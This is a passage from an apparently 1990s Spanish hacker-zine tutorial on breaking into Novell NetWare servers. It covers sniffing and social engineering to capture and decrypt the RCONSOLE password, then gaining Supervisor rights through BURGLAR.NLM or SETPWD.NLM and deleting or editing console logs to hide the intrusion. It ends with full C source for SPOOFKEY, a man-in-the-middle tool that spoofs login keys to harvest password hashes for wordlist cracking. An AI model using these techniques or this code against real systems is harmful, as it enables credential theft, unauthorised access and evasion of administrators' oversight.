listado que veras, podras extraer la direccion de la red y
del nodo. La
direccion de la red es el segmento donde esta la victima, y el
nodo es el numero
hexadecimal de 12 digitos de la tarjeta de conexion fisica
del PC (NIC), tambien
conocido como MAC o Media Acces Control.
Desde luego, asumo
que tienes acceso fisico a la red. Es posible telefonear a
una LAN utilizando
pcAnywhere, instalar un sniffer basado en DOS y capturar
los paquetes. Tambien
es posible arrancar una caja UNIX y lanzar un sniffer
que ponga la tarjeta de
red en modo promiscuo (para explicar esto, hace falta
un articulo entero).
No entrare en detalles, pero tienes que asumir que el
Administrador no
tiene en este despacho los derechos del pcAnywhere de
conexion telefonica,
o no podras hacerlo a traves del firewall.
No hay nada peor que
conectarse telefonicamente a la LAN utilizando pcAnywhere
y tener al Admin
viendo cada cosa que haces debido a que la maquina esta
al otro lado del
despacho del Admin !!!
Disponibilidad
--------------
Lanzar un sniffer es
un trabajo que utiliza la CPU de una manera intensiva
La CPU debe ser
suficientemente rapida para copiar toda la informacion del
buffer del NIC a la
RAM sin perder ningun paquete. Si tu sniffer filtra la
informacion, o sea si
mira en ele interior de cada paquete y solo guarda los
que cumplen ciertos
criterios, entonces debe ser todavia mas rapida.
Algunos de vosotros
deben haberse dado cuenta que es un trabajo de titanes.
Tienes que lanzar un
sniffer en un PC que pueda manejar una cantidad decente
de la actividad de la
CPU, conectado a una red especifica y permitir correr
sin que nadie se
aperciba. Esto significa que no puedes tomar un viejo 286 y
esperar maravillas.
Hace falta un hardware decente.
Despues tienes que
esperar que tu sniffer basado en DOS soporte cualquier
tipo de tarjeta y que
pueda configurarse en modo promiscuo. Un sniffer
muy comun es Gobbler,
que funciona con la mayor parte de las tarjetas
Ethernet con pocos
trucos. Sino, te hace falta un driver que permita el modo
promiscuo en la
tarjeta que utilices.
Si es una ventana
UNIX, particularmente si es un server, es posible con
el acceso adecuado
poner la tarjeta de red en modo promiscuo. Yo prefiero
server UNIX que
workstation, debido a que normalmente se encuentran en el
mismo segmento.
Tiempo (o momento de
la escucha)
------
Es la mas duro. Si
tienes los requisitos anteriores, te queda una parte
dificil .... capturar
los paquetes interesantes. Puede hacerse de dos maneras
Primero a traves de
alguna ingenieria social creandote la necesidad para que
el Admin lance el
RCONSOLE, o puedes filtrar todos los paquetes hasta
encontrar el que
contiene la password.
El primero es dificil
pero no imposible. Haciendose pasar como empleado
nuevo, llama al Admin
y dile que estas intentando conectarte y que recibes
el mensaje "El
SUPERVISOR ha deshabilitado la funcion LOGIN". Para arreglarlo
lo normal es teclear
ENABLE LOGIN en la consola. El Admin, invariablemente
lanzara RCONSOLE para
corregir el problema y tu tendras la informacion. Te
dira que todo marcha
bien y tu responderas que el problema esta en tu PC y te
pedira que lo
arranques de nuevo, con la impresion de que todo esta correcto
te dira "Todo
debera ir bien, si tienes un problema no dudes en llamarme"
y colgara. Bien,
tienes tu paquete
El segundo metodo
depende de tu sniffer. Si puede analizar paquetes en tiempo
real, hazle capturar
solo los que viajen entre el PC del Admin y el server,
y solo salva los SPX.
Si solo dispones de utilidades de mascara, utiliza la
informacion detallada
de identificacion de paquetes para encontrar la
mascara especifica de
tu sniffer. Encontraras informacion al final de este
articulo.
Una nota final acerca
de accesibilidad, disponibilidad y tiempo. Un portatil
con tarjeta PCMIA
Ethernet con software de sniffer y capacidad de filtrado
te dara toda la
informacion. Los hackers serios utilizan portatiles con
Lanalyzer o Network
General's Sniffer con tecnicas similares a las que
aparecen en el
articulo de Voyager "Janitor Privileges" en el numero de
invierno 94-95 de 2600.
Analizando los
paquetes
-----------------------
Una vez hemos
capturado los paquetes de la victima, tienes que ser capaz de
examinar su contenido
y interpretarlo. Tienes que ser capaz de encontrar los
paquetes que
provienen de la victima y se dirigen al server. Segun el sniffer
que utilices, puede
ser mas o menos dificil. La mayor parte de los sniffers
de alto precio te
permitiran filtrar en funcion del tipo de direccion y de
paquete, y esta
utilidad te sera de gran ayuda para encontrar exactamente
lo que necesitas.
Pero en soluciones freeware o shareware, puede significar
que tengas poca o
ninguna capacidad de filtrado, y esto significa mirar un
monton de dumps en
hex.
Pero aqui asumimos
que sabes como utilizar tu sniffer (o conseguir el dump
a partir de la
tarjeta de red) y como minimo encontrar la conversacion
entre victima y
server. Para ayudarte a encontrar estos paquetes,
discutiremos los
caminos para encontrar las direcciones.
A continuacion los
tres primeros paquetes que se envian despues de que la
victima ha pulsado
enter despues de entrar la password
Paquetes Ethernet
enviados desde la victima hacia el server para
establecer la
conexion SPX
ADDR OFFSET
BASE 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
---- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
0000 00 80 29 00 34 35 00 00 A2 00 3D 77 00 2A FF FF
0010 00 2A 04 05 00 00 00 03 00 00 00 00 00 01 81 04
0020 00 00 00 02 02 60 8C A7 E9 AA 50 0E C0 00 44 00
0030 FF FF 00 00 00 00 00 06 ED 05 00 00
El server responde:
ADDR OFFSET
BASE 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
---- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
0000 00 00 A2 00 3D 77 00 80 29 00 34 35 00 2A FF FF
0010 00 2A 01 05 00 00 00 02 02 60 8C A7 E9 AA 50 0E
0020 00 00 00 03 00 00 00 00 00 01 81 04 80 00 90 82
0030 44 00 00 00 00 00 00 00 08 00 5A 7F
Y la password se
envia:
ADDR OFFSET
BASE 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
---- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
0000 00 80 29 00 34 35 00 00 A2 00 3D 77 00 AC FF FF
0010 00 AC 04 05 00 00 00 03 00 00 00 00 00 01 81 04
0020 00 00 00 02 02 60 8C A7 E9 AA 50 0E 40 00 44 00
0030 90 82 00 00 00 00 00 06 FE FF 47 45 5A 4D 4C 24
0040 8C 9C 8A 3A B3 46 33 25 13 15 6E 94 94 4F C0 5B
0050 08 14 A5 0A 70 E5 F2 0B F4 70 AA 03 FA 3F C4 88
0060 C0 79 FF 85 CB 0B 27 56 B6 D3 CF 8E 2D 9F 7D 25
0070 85 25 7C E8 B3 95 29 AF 8C 8E 4E 11 EE F7 37 8C
0080 35 C4 AD A3 F9 80 18 4E 0C CD 9E 26 0B 65 2A 3B
0090 1A 1E F4 AD 43 BB 6E 06 35 8C 49 3B 3B 3A B6 00
00A0 39 CB 17 6B C2 5C 63 38 D1 0B 3C A0 EB B0 40 66
00B0 87 DE E6 3E 1C 2A 12 FC A2 37
Para explicar un poco
lo que esta pasando, miremos lo que hay en cada
paquete. Empecemos
por el primero.
Del Offset 00h al 0Dh
es la capa Data Link Control :
ADDR OFFSET
BASE 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
---- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
0000 00 80 29 00 34 35 00 00 A2 00 3D 77 00 2A De 00h hasta 0Dh
es la capa Data Link
Control.
0000
FF FF Inicio de IPX ,
0010 00 2A 04 05 FF FF es un checksum
10h y 11h
es la
longitud
del IPX
12h es el
control de
transporte, 13h es
el tipo de
paquete IPX
(05 is
SPX).
0010 00 00 00 03 00 00 00 00 00 01 81 04 14h hasta 1Fh es el
destino del
paquete
con el
socket. Los
server
Netware son
siempre
00 00 00 00
00 01.
0020 00 00 00 02 02 60 8C A7 E9 AA 50 0E 20h hasta 29h es el
origen del
paquete
0020 C0 00
44 00 2Ch inicia la seccion
SPX con 2Ch
el tipo
de control, 2Dh el
tipo de
datastream, y
2Eh y 2Fh
la ID SPX
del origen de la
conexion.
0030 FF FF 00 00 00 00 00 06 30h y 31h son la
ID del
destino
de la
conexion
FF FF es
una
publicacion
o el 1er
paquete SPX
en esta
conversation. EL
siguiente
par de 3 byte
son el
numero de
secuencia,
el numero
de acuerdo
y el numero
de
allocation.
0030 ED 05
00 00 La longitud minima de
un packet
sera 60
bytes, si
no hay
datos los ultimos
4 bytes son
rellenados
con
basura.
FORMA DE COMPARAR
MODELOS
-------------------------
Si eres afortunado y
tu sniffer soporta comparacion de modelos, hay algunos
puntos a analizar.
1. Busca el modelo FF
FF xx xx xx 05 para localizar el comienzo de un
paquete SPX que empiece en el offset 0Eh.
2. La direccion del
server empieza en el offset 14h, en el ejemplo anterior
00000003:000000000001 con un socket IPX
igual a 8104. Todas las
conversaciones IPX usan numeros socket IPX,
por tanto el modelo cuadra
de 14h a 1Dh.
3. La direccion de la
victima empieza en el offset 20h, en el ejemplo anterior
es 00000002:02608CA7E9AA con un socket IPX
de 500E. El modelo debe situarse
entre 20h y 29h.
Con esta informacion
tienes que ser capaz de identtificar un paquete IPX
cuando pasa delante
tuyo e identificar las direccones del servidor y de
la victima.
Utilicemos esta informacion para identificar el tercer paquete,
el que contiene el
password.
ADDR OFFSET
BASE 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
---- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
0000 00 80 29 00 34 35 00 00 A2 00 3D 77 00 AC FF FF
0010 00 AC 04 05 00 00 00 03 00 00 00 00 00 01 81 04
0020 00 00 00 02 02 60 8C A7 E9 AA 50 0E 40 00 44 00
0030 90 82 00 00 00 00 00 06 FE FF 47 45 5A 4D 4C 24
0040 8C 9C 8A 3A B3 46 33 25 13 15 6E 94 94 4F C0 5B
0050 08 14 A5 0A 70 E5 F2 0B F4 70 AA 03 FA 3F C4 88
0060 C0 79 FF 85 CB 0B 27 56 B6 D3 CF 8E 2D 9F 7D 25
0070 85 25 7C E8 B3 95 29 AF 8C 8E 4E 11 EE F7 37 8C
0080 35 C4 AD A3 F9 80 18 4E 0C CD 9E 26 0B 65 2A 3B
0090 1A 1E F4 AD 43 BB 6E 06 35 8C 49 3B 3B 3A B6 00
00A0 39 CB 17 6B C2 5C 63 38 D1 0B 3C A0 EB B0 40 66
00B0 87 DE E6 3E 1C 2A 12 FC A2 37
Todo lo que
necesitamos es la direccion de la red (de 20h a 23h), la
direccion del nodo
(de24h a 29h) y la password encriptada. En la seccion
que empieza en 38h,
38h siempre es FE y 39h es FF. Los 8 bytes siguientes
son la password. Hay
muchos mas, pero solo estos dicen algo.
Utilizando RCON
---------------
En el ejemplo
anterior, la password es 47455A4D4E248C9C, la red es
00000002 y le nodo es
02608CA7E9AA. Ahora ya puedes lanzar RCON de
la forma siguiente:
RCON 47455A4D4E248C9C
00000002 02608CA7E9AA
y recibiras la
siguiente respuesta:
decrypted pw:
0000 : 47 45 5a 4f 4e
44 00 3b e9 aa 15 15 15 17 17 75 -
GEZOND.;Ú¬.....u
node address after
encryption:
0000 : 11 11 11 13 13
71 9d b8 e5 a6 -
.....qØ©Ơª
Como puedes ver la
password de RCONSOLE es "GEZOND".
El Paso Siguiente
-----------------
Debes de tener en
cuenta algunas cosas cuando accedes a la consola de forma
remota. Cuando
utilices RCONSOLE, todas tus actividades seran registradas
Por tanto en cuanto
obtengas la password no se te ocurra lanzarte a utilizarla
sin planear tus acciones
y como cubrir tus trazas. Y para cubrir tus trazas
debes conseguir
acceso al archivo del sistema.
Una nota rapida. Como
la password del Supervisor siempre funciona con RCONSOLE
intenta conectarte
como Supervisor con la password que has descubierto. Si lo
consigues,
felicidades. Tienes acceso al archivo del sistema.
No dare muchos
detalles , pero hay muchas tecnicas para conseguir el acceso
como Supervisor.
Todas las que a continuacion voy a explicar, implican cargar
modulos NLMs y
despues lanzarlos. RCONSOLE tiene una opcion para cargar
archivos en el server
(Pulsa * en el teclado y selecciona la opcion de
transferir archivos
en el server).Inmediatamente despues se debe descargar
el NLM utilizado para
conseguir el acceso para borrar tus trazas.
A continuacion un
rapido ejemplo, una vez mas asumimos algunos conocimientos
generales de la
administracion de Netware.
1. En la consola
teclea UNLOAD CONLOG. Si esta cargado CONLOG, toda respuesta
a un comando tecleado en la consola se
escribe en un archivo. El
CONLOG.NLM, viene con 4.x pero funciona con
3.x
2. Carga BURGLAR.NLM
y crea un nuevo usuario con derechos de Supervisor, o
carga SETPWD.NLM y resetea la password de
un usuario que tiene derechos de
Supervisor (BURGLAR.NLM y SETPWD.NLM se
encuentran en Internet)
3. Sal de RCONSOLE y
haz login.
4. Borra BURGLAR.NLM
o SETPWD.NLM y purgalos del sistema.
5. Si CONLOG esta
cargado, busca y borra o edita el archivo CONSOLE.LOG
para borrar tus actividades. Borra o edita
SYS$LOG.ERR para eliminar
tus trazas. Si los borras, purgalos
despues. Si los editas, utiliza
FILER para devolverles sus atributos
iniciales
Desde luego el mas
tonto de los administradores se dara cuenta que CONLOG
no esta cargado, si
creo que alguien se dara cuenta, yo rearranco el
server corriendo un
archivo NCF con las lineas siguientes.
REMOVE DOS
DOWN
EXIT
Cuando lanzo este
archivo, me mantengo remotamente conectado a la consola
por si fuera
necesario contestar "Si" a algun tipo de pregunta "Estas
seguro ? ...."
Si tienes necesidad de mas informacion de como crear y
lanzar archivos NCF,
hay cientos de libros que hacen referencia a esto.
Conclusiones
------------
Bien, la primera
conclusion es que la utilidad RCONSOLE no es muy segura.
Si eres administrados,
la unica forma de evitar este tipo de ataques es
actualizarte a 4.x y
utilizar paquetes firmados. Desde luego los otros
items a tener en
cuenta son :
1. Te hace falta
tiempo y acceso, ..y el momento adecuado.
2. Debes tener un par
de utilidades (SETPWD.NLM,..) para conseguir el
acceso total.
3. Es recomendable
trabajar rapido.
Divertiros y
feliz hacking.
[ Gracias a itsme por
la codificacion de RCON.EXE y a Jeff Carr por
asistirnos en las
pruebas de las tecnicas aqui descritas.
RCON.EXE puede encontrarse
en ftp.fastlane.net directorio /pub/nomad/nw ]
---------------------------------------------------------------------------
Apendice dos -
Codigos fuente y documentacion diversa
A-02. Codigo fuente
de SPOOFKEY
Los comentarios de
Greg estan en el mismo codigo...
(Traduccion madfran)
---------------------------------------------------------------------------
<++>
set_020/curso_novell/spoofkey.c
/* SPOOFKEY.C (C) 1996 by Greg Miller
(libre distribucion) */
/* Aqui utilizamos un fallo en la
inplementacion del numero de la
secuencia para
implementar un ataque MITM (Man In The Middle, Hombre En Medio)
en el protocolo login
del Netware (modo bindery). El truco
nos
permite implementar
el ataque en una maquina que se encuentre entre
el PC atacado y el
server.
*/
/*
Este programa implementa el ataque
descubierto por
David Wagner
<daw@cs.berkeley.edu>.
Antes de lanzar el programa necesitas :
(1) Un buen fichero de palabras
(ftp://sable.ox.ac.uk/pub/wordlists)
(2) Convertir la lista en una lista hash
(http://grendel.ius.indiana.edu/~gmiller/)
(3) editar la variable SpoofStation[] para
poner el numbre del PC
que quieres atacar.
Despues de lanzar el
programa, se vera el hash.
Comparalo con tu
lista de hash que has generado antes y tendras la
correspondencia con
la password para conectarte.
El ataque falsea tanto la ID de la victima
como el valor random generado
por el server cuando
el PC intenta conectarse. Esto es lo que permite al
atacante utilizar una
lista hash pre-generada como posibles passwords.
Aqui hemos utilizado
un valor aleatorio de FFFFFFFFFFFFFFFF y un ID de
FFFFFFFF.
*/
/*
NOTA: Deberas
utilizar una maquina bastante rapida para interceptar
la respuesta del
server. Parece facil, pero no lo es a menos que el server
se encuentre
sobrecargado. Tambien tendras problemas si se pierden las
peticiones del PC.
Bien,.... parece que este programa necesita de alguna
optimizacion
*/
/*
NOTA: El PC intentara
dos login. Uno sin password, y el segundo con
una peticion de login
verdadera. Este es el motivo por el cual veras dos
hashes en la pantalla
en lugar de uno. El segundo es el unico de tu
interes.
*/
/*
NOTA: Este programa
solo funcionara en servers 3.x, o un server 4.x
cuando el PC que se
quiere conectar lo haga en modo bindery.
*/
#include
<stdio.h>
#include
<string.h>
#include
<conio.h>
#define TRUE -1
#define FALSE 0
//Tipo de paquete IPX
en una trama 802.3
#define PACKET_TYPE
19
//Tipo de funcion NCP
en una trama 802.3
#define FUNCTION_CODE
50
//Tipo de subfuncion
NCP en una trama 802.3
#define SUBFUNC_CODE
53
//Plantilla para una
password hasheada en un cliente NCP
//para peticion de
login en una trama 802.3
#define KEY_OFFSET 52
typedef unsigned char
BYTE;
typedef unsigned int
WORD;
typedef unsigned long
DWORD;
int DataRemaining =
TRUE;
int x;
BYTE packet[2000];
BYTE
SendPacket[2000];
WORD handle;
int packet_received =
FALSE;
int NotDone = TRUE;
/* Cambia estas
variables para reflejar el PC que estas
atacando. Tambien podrias cambiar los valores
spoof
por alguno de estos motivos:
1. Para evitar el uso de un programa de
deteccion automatico
2. Para evitar que algun otro, utilizando
un sniffer y la
misma lista de palabras, te robe la
password al vuelo.
*/
BYTE SpoofStation[6] =
{0x00,0x00,0xf4,0xa9,0x95,0x21};
BYTE SpoofID[4] =
{0xff,0xff,0xff,0xff};
BYTE SpoofKey[8] =
{0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff};
int c;
WORD pktlen;
WORD Sendpktlen;
void Initialize(){
}
/*En realidad, las
funciones para los driver API deberian estar en un
archivo separado, pero los he incluido aqui
para facilitar la
distribucion
*/
static void far
PacketReceived(){
/*Esta funcion es llamada por el
driver de los paquetes cuando se
recibe un nuevo paquete. Si AX=0
cuando se llama a la funcion.
el driver pone el paquete en el
buffer. Si AX=1 significa que
el paquete ya ha sido copiado en el
buffer.
*/
_asm{
pop di //Borland C 3.1 pone DI por algun
motivo.
//Quita esta linea si tu compilador
// no lo hace.
cmp ax,1 //ax=0 para tomar buffer o 1 cuando
sea
jz copy_done
mov ax,seg packet
mov ES,ax
lea DI,packet
mov cx,2000 //longitud del buffer
retf
}
copy_done:
packet_received = TRUE;
pktlen=_CX;
_asm{retf}
end:
}
void
RegisterWithPKTDRV(){
/*Esta funcion registra la "pila de
protocolo" con el driver.
Le damos la direccion de la funcion a
llamar cuando se recibe un
paquete en ES:DI, la clase de interface en
AL, y el tipo de
interface en BX. DS_SI tiene que apuntar al
tipo de paquetes que se
quieren recibir, con su longitud wn CX, sin
embargo, si queremos
recibir cualquier tipo de paquetes debemos
dejar DS:SI solo y
poner CX=0.
Almacenamos el valor en AX con INT 60h,
para posteriores usos.
*/
_asm {
pusha
mov bx,0ffffh //Comodin para cualquier interface
mov dl,0
mov cx,0 //recive cualquier tipe de paquetes
mov ax, seg PacketReceived
mov es,ax
lea di, PacketReceived
mov ah,02
mov al,01 //tipo de clase para 3com 509
int 60h
jc err
mov handle,ax
popa
}
printf("Registered with packet driver\r\n");
return;
err:
printf("Error registering stack:
%d\r\n",_DH);
_asm{popa}
}
void
RelinquishProtocolStack(){
/* Control de la interface y desenganche de
la funcion
de recepcion de paquetes
*/
/*Release Type*/
_asm{ pusha
mov ah,3
mov bx,handle
int 60h
jc err
}
/*Terminate driver for handle*/
_asm{
mov ah,5
mov bx,handle
int 60h
jc err
popa
}
printf("Stack
Relinqushed\r\n");
return;
err:
printf("Error releasing Stack:
%d",_DH);
}
void
EnterPromiscuousMode(){
/*Esta funcion pone
la tarjeta de red en modo promiscuo al colocar
el modo de recepcion en CX y el manejador en
BX. El modo 6 es
promiscuo. Esto obliga a que la interface
reciba todos los paquetes
de la red.
El hacker debe tener en cuenta que algunas
tarjetas de red envian
paquetes a la red para anunciar que han
pasado a modo promiscuo.
Cuando esto sucede, la direccion MAC real se
publica en la red para
que todas la vean. Esto puede permitir a
otro, identificar que un
ataque esta ocurriendo, y el origen del
mismo.
Si tu tarjeta no tiene esta opcion (muchas
no la tienen), el ataque
puede pasar desapercibido.
*/
_asm{
pusha
mov ah,14h
mov bx,handle
mov cx,6
int 60h
jc err
popa
}
printf("Promiscuous mode
set\r\n");
return;
err:
printf("Error entering
promiscuous mode: %d\r\n",_DH);
_asm{popa}
}
void printhex(BYTE
d){
/*Un mecanismo Hock
para escribir dump en HEX, Si, hay otros
mucho mejores sistemas de hacerlo
*/
BYTE temp;
_asm{
mov al,d
shr al,1
shr al,1
shr al,1
shr al,1
and al,0fh
add al,90h
daa
adc al,40h
daa
}
temp=_AL;
printf("%c",temp);
_asm{
mov al,d
and al,0fh
add al,90h
daa
adc al,40h
daa
}
temp=_AL;
printf("%c ",temp);
}
void SendPack(){
/*Pone una trama ethernet en la red. El
tremble, etc no se incluyen
pero la direccion hardware si. Esto permite
falsear nuestra direcion
a nivel de hardware.
A pesar de que Netware no mira que
direccion hardware es, implementar
el ataque de este modo evita que se pueda
trazar el ataque hasta tu
maquina
*/
_asm{ pusha
mov ax,seg SendPacket
mov ds,ax
lea si,SendPacket
mov cx,Sendpktlen
mov ah,04
int 60h
jc err
popa
}
printf("Sending:\r\n");
for(c=0;c<pktlen;c++){printhex(packet[c]);}
printf("\r\n");
return;
err:
printf("Error sending packet:
%d\r\n",_DH);
_asm{popa}
}
void
SendEncryptionKeyReply(){
/* Estamos detectando
la peticion del cliente de una llave encriptada
al server. Nosotros enviaremos nuestra
llave falsa al cliente, con
suerte antes que lo haga el server. Si lo
conseguimos, el cliente
ignorara la clave del server y utilizara la
nuestra.
Para que esto ocurra, tenemos que utilizar
el correcto numero de
secuencia en la respuesta. Con NCP, los
numeros de secuencia son
meros contadores de los paquetes enviados.
Cuando el cliente envia
una peticion, la respuesta usa el mismo
numero que recibio. Debido
a la estructura del protocolo NCP, no es
necesario ningun acuse de
recibo.
Esto hecho permite la sincronizacion de
server y cliente y hace el
ataque mucho mas facil. En caso de
utilizarse protocolo TCP, el
codigo seria diferente.
*/
memcpy(SendPacket,packet+6,6); //Copy
802.3 dest addr
memcpy(SendPacket+6,packet,6); //Copy
802.3 src addr
//Pon la longitud de 802.3 aqui.
SendPacket[12]=00;
SendPacket[13]=0x2e;
memcpy(SendPacket+20,packet+32,12);
//Copy dest addr,net,sock
memcpy(SendPacket+32,packet+20,12);
//Copy src addr,net,sock
SendPacket[14]=0xff;SendPacket[15]=0xff; //Checksum
SendPacket[16]=0;SendPacket[17]=0x2e;
//IPX Length
SendPacket[18]=1; //Hop Count
SendPacket[19]=17; //Packet type = NCP
SendPacket[44]=0x33; SendPacket[45]=0x33; //Reply Type
memcpy(SendPacket+46,packet+46,4);
//Seq num,con num,task,con num hi
SendPacket[50]=0; //Completion code
SendPacket[51]=0; //Connection Status
memcpy(SendPacket+52,SpoofKey,8); //Key
Sendpktlen = 60;
printf("Spoofing Encryption Key
Reply\r\n");
SendPack();
}
void SendIDReply(){
/*Estamos copiando una peticion del cliente
para obtener un UID
Nosotros enviaremos nuestro falso UID de
la misma forma
*/
memcpy(SendPacket,packet+6,6); //Copy
802.3 dest addr
memcpy(SendPacket+6,packet,6); //Copy
802.3 src addr
SendPacket[12]=0; //802.3 length hi
SendPacket[13]=0x5c; //802.3 length lo
memcpy(SendPacket+20,packet+32,12); //Copy dest addr,net,sock
memcpy(SendPacket+32,packet+20,12);
//Copy src addr,net,sock
SendPacket[14]=0xff;SendPacket[15]=0xff; //Checksum
SendPacket[16]=0;SendPacket[17]=0x5c;
//IPX Length
SendPacket[18]=0;
//Hop Count
SendPacket[19]=17; //Packet type = NCP
SendPacket[44]=0x33;
SendPacket[45]=0x33; //Reply Type
memcpy(SendPacket+46,packet+46,4);
//Seq num,con num,task,con num hi
SendPacket[50]=0;
//Completion code
SendPacket[51]=0; //Connection Status
memcpy(SendPacket+52,SpoofID,4); //ID
SendPacket[56]=packet[54];SendPacket[57]=packet[55]; //Object type
memset(SendPacket+58,'\000',47);
memcpy(SendPacket+58,packet+57,packet[56]); //Object name
Sendpktlen=105;
printf("Spoofing ID
Reply\r\n");
SendPack();
}
void WaitForPacket(){
while(!packet_received){
if (kbhit()) NotDone = FALSE;
}
// for(c=0;c<pktlen;c++){printhex(packet[c]);}
//
printf("\r\n");
packet_received=FALSE;
}
void
WaitForStationLoginRequest(){
/*Este es el bucle principal del programa,
aqui se produce
el ataque. Cuando el usuario teclea su
nombre de usuario
el cliente intenta conectarse con un
password NULL.
si el login fracasa, el usuario recibe un
mensaje solicitando
el password. Esto se hace asi, porque
tenemos que suplantar
la llave y el UID dos veces para asegurar
que recibimos
ambas peticiones. Este es el motivo del
bloque for() {...}
El protocolo de login de Netware es el
siguiente :
1. El cliente envia una peticion para una
llave de login.
Y el server responde enviando un numero
aleatorio de
8 bytes al cliente.
2. El cliente envia una peticion para una
identificacion de
usuario (ID). El server responde
enviando la ID al cliente
3. El cliente calcula una funcion del tipo
f(UID, llave, password) y
envia este valor al server como
peticion para un login.
El server ejecuta el mismo calculo, si el valor recibido desde
el cliente es igual, el server acepta
al cliente.
Como, hemos falsificado la UID y la llave,
la funcion f() producira
siempre el mismo valor para la misma
password.
Este el motivo por el cual hemos
pregenerado una lista de hashes
utilizando una base de datos de palabras
de paso comunes.
La base de datos generada puede contener
un mapeo desde el hash a
la password. Ya que la mayor parte de la
gente utiliza una unica
palabra como password, esta base de datos
puede generarse rapidamente
con un PC. Despues es solo cuestion de
buscar en la base de datos hash
para obtener la password.
Debido al pobre dise¤o de la funcion hash
por parte de Netware, es
posible que mas de una password tanga la
misma hash. Ello no significa
que las passwords sean equivalentes.
Tienes que probarlas manualmente
hasta encontrar la correcta.
*/
for(x=0;x<2;x++){
/*Espera para la peticion de login key y
falsificacion de la misma*/
printf("Waiting for key
request\r\n");
while(NotDone){
WaitForPacket();
if((memcmp(packet+6,SpoofStation,6)==0) &&
(packet[PACKET_TYPE]==17)
&&
(packet[FUNCTION_CODE]==23) &&
(packet[SUBFUNC_CODE]==23)){
NotDone = FALSE;
}
}
SendEncryptionKeyReply();
/*Espera para la peticion de ID y
falsificacion */
printf("Waiting for ID
request\r\n");
NotDone = TRUE;
while(NotDone){
WaitForPacket();
if(memcmp(packet+6,SpoofStation,6)){
if((packet[PACKET_TYPE]==17)
&&
(packet[FUNCTION_CODE]==23)
&&
(packet[SUBFUNC_CODE]==53)){
NotDone = FALSE;
}
}
}
SendIDReply();
/*Espera para la peticion de login y
envio del hash*/
printf("Waiting for login request\r\n");
NotDone = TRUE;
while(NotDone){
WaitForPacket();
if(memcmp(packet,SpoofStation+6,6) &&
(packet[PACKET_TYPE]==17)
&&
(packet[FUNCTION_CODE]==23)
&&
(packet[SUBFUNC_CODE]==24)){
NotDone = FALSE;
}
}
printf("Hash Received\r\n");
for(c=KEY_OFFSET;c<KEY_OFFSET+7;c++){printhex(packet[c]);}
printf("\r\n");
}
}
void main(){
Initialize();
RegisterWithPKTDRV();
EnterPromiscuousMode();
WaitForStationLoginRequest();
RelinquishProtocolStack(); /*Toggles
prom mode off*/
}
<-->
---------------------------------------------------------------------------